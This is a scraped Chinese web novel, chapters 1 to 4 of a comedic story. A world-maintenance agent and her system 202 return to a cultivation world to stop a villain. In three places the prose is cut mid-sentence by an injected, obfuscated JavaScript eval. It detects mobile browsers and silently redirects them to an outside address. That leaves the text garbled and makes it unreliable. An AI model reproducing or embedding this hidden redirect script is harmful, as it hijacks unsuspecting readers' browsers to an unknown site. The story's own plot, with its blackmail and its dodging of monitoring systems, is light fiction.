《女配她努力改剧情》 1. 你的专业性是? 专供系统维护员修整的房间里,祝昭昭盘膝坐在椅子上,和对面的系统遥遥相望。 房间没开灯,电子光幕莹蓝的光芒打在她侧脸。 空气里静得只剩机器运转时发出的细微嗡鸣。 看着对面银灰色圆球模样的系统,祝昭昭面无表情:“真不行?” 202转了转:“真不行。” 祝昭昭眉心抽动了一下。 但她仍不死心:“救不了?” 202再次转了转:“救不了。” 一时间,沉默震耳欲聋。 近乎死寂的沉默里,祝昭昭站起身来,转身走向电子光幕。 在祝昭昭一通快到根本看不清的操作后,202整个球身上突然炸起一道道银白色的电弧。 它被电得直蹦:“哎呀,我承认,我承认我错了不行嘛!” 202一个‘嘛’字,成功让光幕前的祝昭昭手微顿,紧接着直接将界面上的【电击等级】调到最高档。 202顿时蹦得更厉害。 它边蹦边嚷嚷:“我真的知道错啦,主人你下手轻点行不行!结果已经是这样了,电死我对你有什么好处吗?” 在202说出‘结果已经是这样’的瞬间,祝昭昭毫不犹豫地按下旁边的另一个惩罚按键。 整颗球都在火花带闪电的202顿时像滚筒洗衣机一样高速旋转起来。 整个人斜靠在机器上,祝昭昭半吊着眼皮看着转得只剩虚影还冒着电光的202,不紧不慢地从空间手环里取出一瓶汽水打开。 她就那么一口一口喝着汽水,边喝边看202被惩罚,期间表情都没变过。 罚归罚,祝昭昭设定的时间并不久。于是在她喝完最后一口汽水的同时,对面的202也停止了转动。 它一下子掉在地上。 强烈的眩晕感202只能在地上胡乱滚动:“主人,202就知道你还是心疼我,舍不得我被罚太久……” 已经把202的窘态发进工作交流群的祝昭昭:你说什么? 好不容易缓过来的202刚浮起来就收到来自工作群的消息,立刻开始哀嚎起来。 祝昭昭不耐烦地掏了掏耳朵:“叫什么叫,要不是你胡乱分配任务把事情搞成这样,你至于现在在工作群里丢人吗?” 她重重一把拍在身旁的电子光幕:“你看看任务总结是怎么说的?看看那个责任评估表,上面写的什么?” “任务失败原因!维护员与系统占60%!” 祝昭昭一把薅过飘到面前的202,把它当皮球一样拍:“202,你当时怎么跟我说的?你说这世界的剧情不需要我太插手,让我照着剧本念就完事了。结果最后怎么着?我被捅死,小世界也毁灭了!” 拎起手里的202揉圆搓扁,祝昭昭咬牙切齿:“你小子,之前的任务经验都攒去哪了,任务背调的时候都不搞搞清楚吗?” 202自知理亏,小声逼逼:“就是因为拿到任务的时候做了背调,我才让你老老实实走剧情的。男女主幸福在一起,男二归隐山林,那个结局你不是也看过了吗?” “那会儿我以为这就是一个普通小位面,谁能想到男二最后黑化了,直接干翻半个修真界啊?” 祝昭昭大声:”我还被捅死了!” 202连忙:“对对对,你还被捅死了。” 202说着有点委屈:“我当时接这任务也只是想让你去休个假,就当放松了。没想到会变成这样啊。” 祝昭昭都被这话逗笑了:“202你是不是缺检修,被分类在这个部门的位面有几个是能休假用的?休假用的位面在一部门,我们这已经是三部门了!” 202:“当时选的时候忘看了……” 祝昭昭不可置信地扬声:“你说什么?” 202大气不敢出。 “算了,现在说再多也没用。”祝昭昭叹了口气,重新靠回机器上,“202你说说现在的情况。” 202立刻从地上弹回祝昭昭身旁:“上次的任务虽然失败了,但因为任务实际上没有完成,所以这个任务现在还挂在你的任务列表里。” 祝昭昭斜了202一眼:“说点有用的。” “所以我们现在有两个选择。” 202脑门正中的菱形投射出一小块光幕:“一、申请剥离这个任务,我们选其他的任务;二、继续它。” 为了挽回自己在祝昭昭心里的专业度,202对着光幕滔滔不绝分析了二十分钟。 “……所以经过我的分析判断,对我们来说最好的选择是剥离它,换一个新的任务。” 202转起圈:“这样的话,从各方面来说更稳妥,安全性也更高。” 静静听它叨叨完,祝昭昭抱着胳膊:“202你是不是真的缺检修。” “你到底还记不记得剥离进行中的任务会影响年末评价,年末评价会影响积分,积分会影响到我的排名?” 还在为自己刚才的分析沾沾自喜的202:“啊?” 祝昭昭一脸''这家伙怎么回事''的表情:“从你接了这个任务开始,我们就只有完成它这一条路了,你不知道?” 202大为震惊。 站起身,祝昭昭点了点202:“所以收拾好东西,我们还要再回去。” 202看着祝昭昭走向门口的背影:“可是……” “没有可是。” 想到被捅穿的胸口,祝昭昭狠狠磨牙:“这次不搞定这个位面,我就不姓祝!” * “时间设定在什么时候?” “根据系统分析,202推荐设定时间为预言发布之前。” 202看着光幕上的数据:“没有那个预言,慕行秋的日子会过得比较好。因为直到结局,他的真实身份也没有太多人知道。” 点头,祝昭昭目光从光幕收回:“那就按你说的来。” 202应了声,开始设定穿越时间。祝昭昭看着它动作,趁它不注意的时候用手环私发了一条信息。 也就在202设定好时间的同时,房间外有人叫202出去。 “主人,我先出去一下,等我回来我们就启动机器。” 它出门前不忘叮嘱:“千万不能乱动机器哦。” 祝昭昭不耐烦地摆手:“你以为我是你。” 202离开,祝昭昭立刻走到光幕前。 祝昭昭记性一直很好,这是她能进入高难度位面三部门的原因之一。哪怕上次只是随便走剧情,她对预言发布的时间也记得很清楚。 202急着回来重启任务,被她叫来的人应该拖不了202太久。于是祝昭昭冷着脸,快速输入了一串时间。 整理好一切远离光幕的瞬间,202刚好哼着小曲走进来。 “628说等我回来,它要带我去看新出的系统技能包。”202看起来很高兴,“要是不错的话,我也想添加一个。” 祝昭昭对它竖大拇指:“任务再失败就要降级,你还有心思想着去添加新技能包。202,还得是你。” 202整个球蔫下来。 祝昭昭见状偷笑,揽过202走到时间机器前:“但是谁都会有目标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280484|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我懂。所以打起精神来,我们还有一次机会。” 她看着手边的202:“那我启动了?” 202点头。 被狠狠打击到的202甚至没再检查一下机器。 这正合祝昭昭的意。 启动机器,祝昭昭趟进旁边的休眠机舱中,任由意识渐渐消失。 * “昭昭,昭昭,醒醒。” 耳旁传来温柔的女声,祝昭昭轻哼一声睁开眼。 “昭昭,你终于醒了。”床边的人一把抓住祝昭昭的手,“从那天后你就一直昏睡不醒,我们都以为你被反噬了。” “特别是星月大祭司,要不是前天算出你这两天就会醒,她都要启坛祭祀了。” 在听到''启坛祭祀''的时候终于彻底清醒,祝昭昭看向床边人,“灵姑姑?” 被点到名的妹灵连连点头:“对,是我,灵姑姑。昭昭,大家都很担心你。” 按了按太阳穴,祝昭昭翻身下床:“现在是什么时候?” “什么时候?”妹灵先是皱眉,然后很快回答,“现在是天元历三九年。” “日子?”祝昭昭喝了口水。 妹灵:“四月十六。” “四月十六。”祝昭昭看向窗外,“我竟然昏迷了七天。” “你才知道。”妹灵叹气,“只是一个普通预言,你却突然昏迷了这么多天,大家都担心得不得了。” 她轻抚祝昭昭的头:“还好你平安醒来。” 普通预言。 祝昭昭感觉额角直抽抽。 如果他们知道这个‘普通预言''最后让大半个修真界都为之付出代价,不知道会作何感想。 不过其他人的想法祝昭昭现在不知道,但有人的想法祝昭昭倒是相当清楚。 “等等,四月十六?!”怀疑自己耳朵出问题,202紧急调出原剧本。 然后视线在剧本——外部投影,外部投影——剧本里来回梭巡至少五遍后,终于大声尖叫起来—— “啊啊啊啊啊!我明明记得我设定的时间是预言发布之前啊?为什么又变成预言发布后才来啊啊啊啊!” “这是bug!我要上报!我要上报啊啊啊啊!!” 祝昭昭被它吵得不行:“你叫什么?我还没来得及叫,你倒是比我先叫起来,这是在先声夺人?” 202显然被这个突发情况炸到短路,已经完全丧失交流能力,依旧尖叫不停。 祝昭昭干脆选择物理喊停:“给我安静点。” 202当即被电得收声。 “冷静下来没?”祝昭昭面无表情地看着脑内被电得发黑的202。 202弹了两下。 “冷静下来就说说其他事。” 意识从和202交流的环境撤出来,祝昭昭几句话打发走妺灵,然后躺回床铺闭上眼。 她开门见山:“这件事我不会怪你。” 202简直不敢相信自己的耳朵:“主人?你说真的吗??” 不等祝昭昭回答,它一下蹦到祝昭昭脸上:“太好了主人,我就知道你最好了!” 鼻子差点被202砸扁,祝昭昭一手把它薅下来:“先别高兴得太早。” “时间线提前这事,我的确不会怪你。但相对的,你也要做出退让。” 对上祝昭昭不辨神情的双眼,202显示屏上的表情透露出些许警惕:“……什么退让?” 指节轻敲它显示屏,祝昭昭眼底浮起笑意:“很简单。” “我要你接下来把剧情的发展权,全部交给我。” 2. 黑皮壮汉大长老 “不行!!” 202第一反应就是拒绝:“虽然我知道主人你身为排行榜前十,就算自己决定剧情走向也没问题。但是主系统不会允许这种事发生!” 它急得围着祝昭昭蹦个不停:“我把主权让给你,监察系统发现了怎么办?它们会不定期巡逻的!” “没巡逻到我们这还好,一旦巡逻到了,我们两个都得完蛋!” “主人你怎么会有这么大胆的想法?这太危险了!!” 202滔滔不绝的同时,显示屏上甚至展现出难度极高的抓狂表情,可见它的着急程度。 祝昭昭却眼皮都没抬,就那么任由它在边上吵吵闹闹个不停。 见祝昭昭没反应,202闹一阵后也消停下来:“总、总之不行。” “那我现在就和主系统举报。”祝昭昭直接调出反馈界面。 202一下蹦起来:“不可以!” 祝昭昭:“主导权给我。” 202:“不可以!” 对话重复三遍后,祝昭昭直接开始在反馈界面写信件。 202急得快爆炸:“主人,信如果发到反馈中心我要被扣分的。” 祝昭昭手不停:“那就给我主导权。” 202屏幕上显示出哭哭表情:“那被发现了怎么办?” 很好,松口了。 抿住上扬的嘴角,祝昭昭装作若无其事:“很简单,你照常发布任务。但不要管我做什么。” 202显然听不太懂:“主人你的意思是?” “意思就是,”祝昭昭停住手上动作,“你是主系统在这个位面的眼睛,你不上报情况,主系统不会特意调查。” “也就是说,只要你不和主系统上报我违规操作,主系统不会知道。” 祝昭昭敲敲202:“这就是我要的主导权。” 202这下回过味来:“那监察系统来了怎么办?” “这个你放心。”祝昭昭打了个响指,“我自然有方法知道,你放心把主导权交给我就好。” 身为比较有经验的系统,202很清楚祝昭昭能坐到维护员排名前十的位置,当然有她自己的一些特殊门路。 所以它不再挣扎:“好吧。” 想到什么,它立刻强调:“不过先说好哦,事情要是暴露了是一定会被重罚的。到时候你不能怪我。” 祝昭昭拍拍它头顶:“放心。” * 祝昭昭简短地和202交代了一下注意事项。 她话虽少,可一字一句都直击重点,无比精炼。202被打开新世界大门的同时,突然回过味来。 它语气带着怀疑:“主人,你该不会早就计划好了吧?” 祝昭昭当场一副‘你居然这么想我\''的表情:“202,我现在是在帮你善后。你不谢谢我就算了,居然这样揣测我。” 她反手点开反馈系统:“既然这样,还是让你被扣点分比较好。” 202顿时急得不行,那点不比芝麻大的怀疑全抛在脑后。 看着哼着小曲收回面板的祝昭昭,202总有种被迫上了贼船的感觉。 它不由得想起之前自己和前辈交接时候的,前辈说的话。 当时前辈语重心长:“202,你刚升上来,很多事情都不懂,但有一件事一定要记牢。那就是——” “绝对不要相信前十那帮维护员!”前辈激动得显示屏都花了一下,“那帮家伙十句话十一个坑,稍不注意就要被他们带沟里。如果听他们的,以后就只能被他们使唤了!” 前辈刚说完就被搭档叫走,202到现在还记得它离开的背影——明明只是一个圆滚滚的灰球,整个球看起来却沧桑又萧索。 然而说归说,202其实一直不明白前辈的意思。 毕竟祝昭昭一直佛系好说话,还时不时主动给它添加新出的功能包和小插件,其他系统一直都很羡慕它。 却没想到祝昭昭不出手是不出手,一出手就是轻易就会被全系统通报的大手笔。 它终于对前辈的话感同身受。 202:拿烟的手,微微颤抖。 它现在跑路还来得及吗? * 修理完202,祝昭昭准备去趟守元殿。 她刚醒,星月大祭司又很担心她,她有必要去露脸报个平安。 当然,除此之外,她还有其他事要做。 守元殿—— “昭昭,你怎么来了?” 祝昭昭刚迈进殿门,手就被人握住。 对面的黑皮大汉眼角含着泪花:“闷声不吭就昏了七天,我可怜的昭昭都饿瘦了。看这小身板,手腕都能摸到骨头了。” 祝昭昭顺着黑皮大汉的话低头。 好吧,他确实不是在夸张。 看见祝昭昭两眼发直的样子,黑皮大汉更心疼了。 他嘴里絮絮叨叨:“圣女这活太遭罪,一不小心就要被反噬。看这孩子,床上躺七天都没恢复过来,好像还变傻了。太可怜了。” 他扭头朝着殿后抱怨:“大祭司您看看,昭昭都成什么样了,您一点不心疼吗?” 坐在殿中的女子动了动手指没说话。 黑皮大汉于是得寸进尺:“要不您考虑考虑重新在外面捡个厉害的娃娃回来当圣女,咱们昭昭好好养在家里就好。” 闵月终于忍无可忍:“司星,滚出去。” 黑皮大汉于是乖乖滚出大殿。 临走前还不忘拍拍祝昭昭的肩,给她做了个鼓励的手势。 祝昭昭差点被拍断气,只能木着脸点头。 最吵的司星被赶出去殿外守门,殿里很快安静下来。闵月叹了一声,朝祝昭昭摆手:“昭昭,过来。” 祝昭昭走过去,很上道地坐在闵月身旁。 常年不见什么情绪的脸上多了丝笑意,闵月轻轻替祝昭昭整理被风吹乱的碎发:“昭昭,你受苦了。” 知道闵月说的是昏迷的那七天,祝昭昭朝她扬起笑脸:“这本就是我身为圣女的职责,怎么会苦。” 闵月无奈摇头。 简单问了一下祝昭昭现在的情况,还不放心的闵月又叫来圣医亲自替祝昭昭诊治,直到圣医拍板祝昭昭确实没有问题,她才终于松口气。 目送圣医离开,闵月摸摸祝昭昭的头:“昭昭,你这次昏迷太过蹊跷,于是我为你起了一卦。” 相比在脑子里大声尖叫要露馅的202,祝昭昭倒是很清楚闵月想说的应该不是什么严重问题。 因为第一次走剧情时,闵月也说了大差不差的话,但最后也没影响大半个修真界完蛋,天玄山跟着全军覆没的结局。 加上如果闵月真的算出什么非常危险的问题,她绝对不可能坐以待毙。至少不可能还心平气和地坐在这里和自己聊天。 祝昭昭本来是这么想的。 可就在思维发散的这点时间里,祝昭昭眼睁睁看着闵月脸上神色渐渐从强撑笑容过渡到不忍、悲伤,最后变成夹杂强烈不舍的心痛—— 表情转换之自然,奥斯卡高低得给她颁座奖的程度。 祝昭昭瞳孔地震。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280485|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道闵月真的算出什么严重问题来了? 狠狠在精神内部按下电击键,成功让尖叫不停的202立刻安静如鸡。祝昭昭努力斟酌一下用词,无比谨慎地开口:“您,您算出什么来了?” “我算出——”闵月说着,竟然哽咽了一下。 祝昭昭见这阵势,额角的汗都快流成小溪。 气氛变得死寂,不止祝昭昭,就连保护闵月的护卫都浑身紧绷。 在这种近乎窒息的气氛里,闵月终于开口。 她说。 “我算出你将要下山。” 哦,算出我要下山。 祝昭昭先是松了口气。 然后面无表情地看着对面还在愁眉苦脸的闵月:“……” 这是在干什么? 无视周围护卫欲言又止的眼神,祝昭昭语调平静:“祭司大人。” 闵月擦着眼角纠正:“昭昭你又忘了,要叫我师父。” 祝昭昭:“师父。” 闵月仍沉浸在悲春伤秋里:“怎么了?” “您的术数之道当世最高,放眼世间无人可敌,昭昭不敢乱议您的卦象。但就算我真要下山,那也只是下山,又不是死了。” 祝昭昭尽量让自己保持正常:“所以您不需要哭成这样。” “所以你真要下山?!”闵月一脸如遭雷击。 祝昭昭感觉脑瓜子嗡嗡的。 不等她回答,门外传来中气十足的喝声。 司星一脸惊恐地从门口探头进来:“昭昭要下山?!” 祝昭昭:…… 现在重新回房间躺着还来得及吗? 瞬间闪现在祝昭昭身旁,司星抱着她就开始嚎:“昭昭啊,我可怜的昭昭啊。你身体那么弱,小小反噬就能让你躺七天,你怎么能下山啊。” 闵月跟着在旁边劝:“是啊昭昭,好好的你为什么要下山,是觉得山上太无聊,还是谁惹你生气了?” 司星目露凶光:“谁惹昭昭生气,我摘谁脑袋!” 司星狼一样的目光恶狠狠瞪了周围一圈,被看到的护卫们不由得缩紧脑袋。 毕竟以他的体格和修为,是真能做到摘花一样摘人脑袋的。 “山上很好,大家都很好,没人欺负我。”祝昭昭感觉自己被搂得快扁掉,“只是昭昭觉得,昭昭有必须下山的理由。” 闵月停下手里动作:“为什么?” “因为昭昭太弱。” 祝昭昭搬出早就想好的说辞:“正如大长老所说,一个普通的预言反噬就能让我昏迷七天,这是不可想象的。” “我身为圣女,师父您退位后就要由我来继承天玄山大祭司的身份。如果我的身体一直这么羸弱不堪,我将来又如何能担得起这份责任?” “天玄山大祭司之于整个修真界的意义,您应该要比我清楚得多。” 没人说话,司星也松开了搂着祝昭昭的手。 但他们仍试图挽留。 “可山中高手只多不少,昭昭你又何必非要下山?”司星拍拍胸口,“你若是担心其他人教不好你,那我来教你不就好了?” 想到司星的种种光荣事迹,祝昭昭哪敢答应:“谢谢大长老好意,但昭昭实在消受不起。” 深受打击的司星立刻萎靡下去。 斜了眼霜打茄子一样的司星,知道祝昭昭心意已决。叹了口气,闵月终于正色道:“昭昭,那你告诉师父,你下山后想去哪?” “剑宗。” 祝昭昭正对闵月的目光:“我想去剑宗。” 3. 大师姐太爱我了怎么办 剑宗。 祝昭昭说完,闵月和司星难得一起沉默下来。 倒不是他两人觉得剑宗不行,而是—— “昭昭啊。”面对祝昭昭,司星难得欲言又止,“不是大长老打击你,可一次反噬就能让你昏迷七天,你的身体情况,确实不太适合去剑宗。毕竟他们宗门——” “出修炼狂人,是整个修真界都出了名的。” 闵月接上了司星没有说的话。 装作不知道落在自己身上的两道视线,祝昭昭低着头。 笑话,作为一个上周目被大反派一剑捅死的人,她能不知道剑宗整个宗门上下都是修炼狂人吗? 她能不知道剑宗不仅出修炼狂人,整个宗门的人还没事就比擂台,要不然就上窜秘境下走历练,个个恨不得把全身家当都投进本命剑里,只为揍人时出剑越快越好吗? 她当然都知道! 可两个主角,一个大反派都在剑宗。甚至这个大反派在上周目毁掉了大半个修真界,直接把小世界搞报废—— 身为位面维护员,货真价实的社畜打工人,搞定问题就是她的第一职责。 她不去剑宗还能往哪去? 祝昭昭:突然沧桑。 抬起头,祝昭昭对上闵月和司星担忧的双眼:“师父,大长老。昭昭知道你们是在担心我。” 司星狠狠点头,满脸真诚:“是啊,昭昭。剑宗那帮老匹夫没几个能在我手下走过百回合,个个都输给我好多丹药法宝了。如果他们知道你去了剑宗,一定会变着法子欺负你的!” 仿佛已经预见祝昭昭在剑宗被刁难的景象,司星眼角又泛起泪花:“到时候他们要是借着长老的地位让你没日没夜修炼个不停,没事就让你去做苦力,天不亮就让你劈柴挖山石,生气了还要体罚你,让你风吹雨淋,大太阳底下立桩……” 说到最后哽咽着再也说不下去,司星干脆掩面呜呜哭起来。 祝昭昭:…… 你要不听听你刚才在说什么? 相比起祝昭昭的难以调理,闵月看起来倒是已经习惯司星的做派。拍拍司星肩膀权当安慰,她说:“剑宗虽然行事一根筋了些,但总得来说也都是心善的人。你不必太过担心。” “月儿你不知道!”司星像个被点着的炮仗,“剑宗那帮老匹夫虽然心不坏,但却个个实打实地难缠!” “尤其是那个曾书。”司星咬牙,“剑宗那么多个老匹夫里,就属他最小心眼。上次我和相易比试时误打误触了他山头的结界,他好一顿大发雷霆,甚至连相易都被他一块骂了。” “相易可是他师兄!” 司星浑没好气:“真不知道他哪来那么多规矩,连结界都不能随意触碰。我和相易不是故意的,也好好与他赔礼道歉,他却还是不依不饶,最后还是他那个大弟子来与我们说的好话,否则都不知该如何收场。” “谁知道昭昭去了剑宗,会不会被他使绊子针对。” 听完司星一通苦水,闵月啼笑皆非:“再怎么说,曾书也是剑宗五长老,不会同昭昭一个孩子计较。” “你与其担心曾书针对昭昭,还不如担心昭昭底子虚弱,很难受得了剑宗的修炼方式。毕竟习剑之人,体魄不能太弱。” 她示意祝昭昭来她身旁:“昭昭,你真的想好了吗?” 站到闵月身边的祝昭昭有些心不在焉。 倒不是在考虑自己究竟能不能接受剑宗的体能修炼,毕竟就算不能接受,她死撑也要撑过去留在剑宗。 她真正在意的,是司星刚才那一顿抱怨。 那些话让她突然想起了一些事情。 比如说,司星口里那个‘不近人情’的剑宗五长老曾书,似乎就是慕行秋的师父。 那个最后一人一剑掀翻大半个修真界的大反派慕行秋。 直觉告诉祝昭昭,这两者之间很可能有着不为人知的关联。 祝昭昭想得入神,却不知道她这幅沉浸在自己世界的状态落到身旁两人眼里,已经成了什么模样。 司星呜咽得更大声:“月儿,你看看昭昭,看看她多为咱们天玄山着想!身子那么弱了,还要勉强自己锻炼体魄。锻炼体魄还不够,还要去最不拿弟子当人来修炼的剑宗!多好的孩子啊!” “不行,说什么都不能让她去剑宗了!”司星狠狠一个倒抽气,吓得祝昭昭都快以为他要直接噶了,“月儿,你快想想还有什么其他宗门可以锻体的。” 闵月被司星这一通嚎得也动摇起来:“阿星你说的似乎也有些道理,要不然……” 坏菜了。 看着闵月一副认真考虑的架势,祝昭昭瞳孔地震。 她特地来找闵月说这件事,就是因为她身为天玄山大祭司,身份之高,在整个修真界里都能说上话,由闵月帮她打点去剑宗的事,她在剑宗也更好行动。 现在闵月却可能要改主意? 恨不得给还在旁边哭哭啼啼的司星一个头槌让他清醒清醒,祝昭昭正准备紧急搜索说辞准备再次表明态度,就看闵月已经皱着眉头开口。 “既然如此,不如送昭昭去盾甲宗如何?” ‘盾甲宗’三个字出来的瞬间,祝昭昭震撼在原地。 刚才还在抹眼泪的司星也不哭了,两人难得一起陷入长久地沉默。 闵月脸上带笑,看起来真心觉得这是个好主意:“盾甲宗专攻防御,不打打杀杀,昭昭去那锻炼体魄也算不错。” 她满脸期待看向祝昭昭和司星:“你们觉得如何?” “月儿。”司星僵硬地站在原地,手都不知道往哪摆,“盾甲宗它,专攻防御确实不假,但锻体的话,他们……” 肉身同样是盾一部分的他们,锻体方式只会更夸张啊! 这句司星忍着没说。 他看着闵月:“……我突然觉得剑宗挺好的,就剑宗吧。” 祝昭昭疯狂点头。 这次,司星终于和祝昭昭达成了统一战线。 “既然你两人都觉得剑宗可以。”闵月看起来很遗憾,“那便依你们的意见,让昭昭去剑宗学习一段时间吧。” * 身心俱疲的祝昭昭出了大殿就往住处赶。 和其他宗门不同,天玄山内不分山头,所有弟子都是一起住。祝昭昭回去的时候又是正午,于是她刚推开院门,就被一帮人围住。 “昭昭,你终于醒啦!” 离祝昭昭最近的一个师姐上来就捏她的脸:“一个预言就晕了七天,昭昭,你可把大家吓坏了。” “这事也确实不好说,” 祝昭昭身旁的另一个师姐替她说话:“有时候一些预言真是没头没尾的,脑袋空空的时候都能突然蹦出一条天大的信息。再说了,老三,你前两天去山下集市摆摊算卦不是才因为说话太难听被人追了几里地吗?” “小师妹好歹不是自愿晕的,你倒好,算个卦差点被人逮着一顿揍。” “你懂什么,那只是个意外!”被叫做老三的萧瑜梗着脖子,“谁知道那倒霉蛋的债主就在他旁边。他当我假把式想用我来糊弄债主,结果事情全被我捅出来,我能有什么办法。” “算了吧,你哪次不是这些理由,与其跟我嘴硬不如练好御空飞行,免得下次跑不过别人真被揍了。” “放心,真到了那天我一定把你栓我腰带上。” 一群人把自己在中间你一言我一语叽叽喳喳,祝昭昭虽然被吵得头疼,心情却神奇地不算很坏。 甚至从上周目被捅死那时候起,她久违地感觉到一丝放松。 也就她走神的一小会儿,两边的斗嘴就开始往算决胜负的方向发展。祝昭昭刚想劝和,已经有人先一步制止。 “小师妹身体还虚弱,你们把她围在里面吵架像什么话。” 身着白衣的女子边说着,边从人群里走出来站到祝昭昭旁边:“胡闹。” 人群随着这句带着肃色的话安静下来。纪汀满意点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280486|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后转身,面无表情地盯着祝昭昭好一阵。 直到被旁边人用胳膊肘捅了个趔超,她才掩唇轻咳两声:“小师妹,大家都很担心你。” “我知道。”祝昭昭点点头,一副乖宝宝样,“谢谢大家关心我,昭昭很开心” 围观全程的202大呼瞎了眼。 站在祝昭昭正对面的纪汀当场浑身一震,僵硬地移开视线:“那,那就好。” 她结结巴巴:“既,既然这样,那,那我……” “哎呀!我什么我啊!”刚捅了纪汀一胳膊肘的二师姐毕莹终于忍不下去,“等你把话说完,黄花菜都凉了。” 毕莹说着,伸手把祝昭昭揽进怀里:“昭昭来,正好和大家一起玩。” 目送毕莹搂着祝昭昭朝树底走,纪汀平静的脸上透露出一丝下手晚了的悔恨。 搂着祝昭昭在自己身旁坐下,毕莹一脸好奇:“昭昭你刚醒就往大殿去,是有什么事情吗?” 祝昭昭倒是本来就没打算瞒着她们:“嗯。我和师父商量好了,过几日要去剑宗学习锻体。” “去剑宗学习?”毕莹大为震惊,“跟剑宗那帮剑疯子有什么好学的?想学打架我可以教你呀,实在不行,还有大师姐在呢?” 被点到名的纪汀连连点头。 “嗯。”祝昭昭搬出不可拒绝的理由,“但说来说去,最适宜锻体的宗门就那么几个,去剑宗是师父和大长老一同决定的。” “既然这样,那还是听大祭司他们的吧。”毕莹无不惋惜,“说起来,我记得让你昏了七天的那个预言,预言对象是不是就是剑宗的弟子?” 祝昭昭眨眨眼:“是。” 无人在意的角落,纪汀的眼神突然犀利起来。 毕莹继续道:“那个弟子的师父,还和大长老闹过不愉快。” 祝昭昭:“对。” 纪汀的眼神更犀利了。 毕莹摸摸下巴:“而且听说他的身份有些特殊,似乎是他师父从修士与魔族的战场上带回来的修士遗孤?” 修士遗孤么。 祝昭昭愣了一下,然后乖乖点头:“嗯。” 毕莹还想说点什么,角落一个人影霍然起身,吓了众人一跳。 看清人影的毕莹眉头皱得死紧:“纪汀,你干什么?” “我去替小师妹扫除剑宗学习路上的绊脚石。”纪汀握紧腰间本命剑,神色如临大敌,“可能伤害小师妹的人,一定要解决。” 满树底的人震撼了。 大师姐竟然要为小师妹宰了剑宗长老的亲传弟子! 这是一种怎样的爱护之情! 这就是天玄山弟子中最高战力的自信吗! 不知道是不是错觉,毕莹总觉得好像在沐浴众人敬佩目光的纪汀脸上看到了一种‘扳回一局’的欣慰。 毕莹:不理解但尊重。 祝昭昭:大师姐好像太爱我了怎么办。 “好了,发什么疯。”毕莹闪身出现在纪汀身旁,直接把她按回去,“小师妹自有大祭司和大长老安排,你别捣乱就是对小师妹最大的帮助。” 整只手牢牢按在纪汀头顶镇压住仍旧蠢蠢欲动的她,毕莹看向祝昭昭:“昭昭。” 被点到名的祝昭昭立刻:“怎么了二师姐。” “你回去休息吧。”挥手示意还想看戏的众人散去,毕莹一把薅起纪汀,“她不老实,我和她练练。” “正好很久没比试了,就当松松筋骨。” 毕莹说完,带着纪汀消失在原地。其他人见没戏看,叮嘱祝昭昭好好休息完也作鸟兽散。偌大的院子里很快只剩下祝昭昭一人。 终于得了清闲的她哼着小曲往自己房间走。 其间在面对202因大开眼界而小心翼翼提出的:“设定里作为‘天道传达者’存在的天玄山里,原来都是这种生物吗”这一问题,做出简单回答。 “正因如此,这个小世界才有拯救的意义不是吗?” 4. 我那修真界第一大美人二长老 守元殿—— 司星手里托着一件白色长袍,神情郑重:“我觉得可以。” 祝昭昭神情比他还郑重:“我觉得不行。” 司星执拗地重复:“我觉得真的可以。” 祝昭昭比他更执拗地重复:“我觉得真的不行。” “到底为什么不行嘛!” 手里长袍往桌上一拍,司星不解又生气:“不就是一件袍子吗,有什么不行的。昭昭你听大长老的,把它披在身上。咱们天玄山的人出去,气势一定要足。” “实在不行,我找你三长老把它裁了,给你做成里衣穿也行。” 祝昭昭感觉自己离抓狂只有一线之隔:“大长老,聚星袍是高级法器,不是山里大家穿都懒得穿的山服,你冷静点好不好!” 祝昭昭身为小孩子人微言轻,于是她选择找外援:“师父,你也劝劝大长老,让他别胡闹了。” 正在认真给祝昭昭的空间袋里装法器的闵月闻言抬头:“什么?” 祝昭昭:…… 心好累真的。 “好了好了。”有其他长老笑呵呵出来打圆场,“大祭司和大长老也是因为太担心你,不要生气。” “毕竟你身为天玄山唯一的圣女,独自前往剑宗学习锻体,确实不太让人放心。” 不知道什么时候出现在祝昭昭身旁的二长老苏青鱼叹了口气:“昭昭啊,这个剑宗非去不可嘛,二长老真的很舍不得你哦。” 祝昭昭差点被鬼一样冒出来的苏青鱼吓到出窍:“二长老,下次能不能不要从我背后出现,我受不了。” 苏青鱼嘴角浮起一丝笑:“那你留在天玄山,我保证以后都从你正面出现。” 祝昭昭:…… 还是把我吓死吧,谢谢。 左边是还在思考怎么裁剪聚星袍的司星,右边是还在给她的空间袋里装法器的闵月。肩膀上抵着的苏青鱼身上一直传来让人晕乎乎的香气,祝昭昭觉得自己再不转移一下话题头真的会炸:“二长老,你今天不去游湖了?” 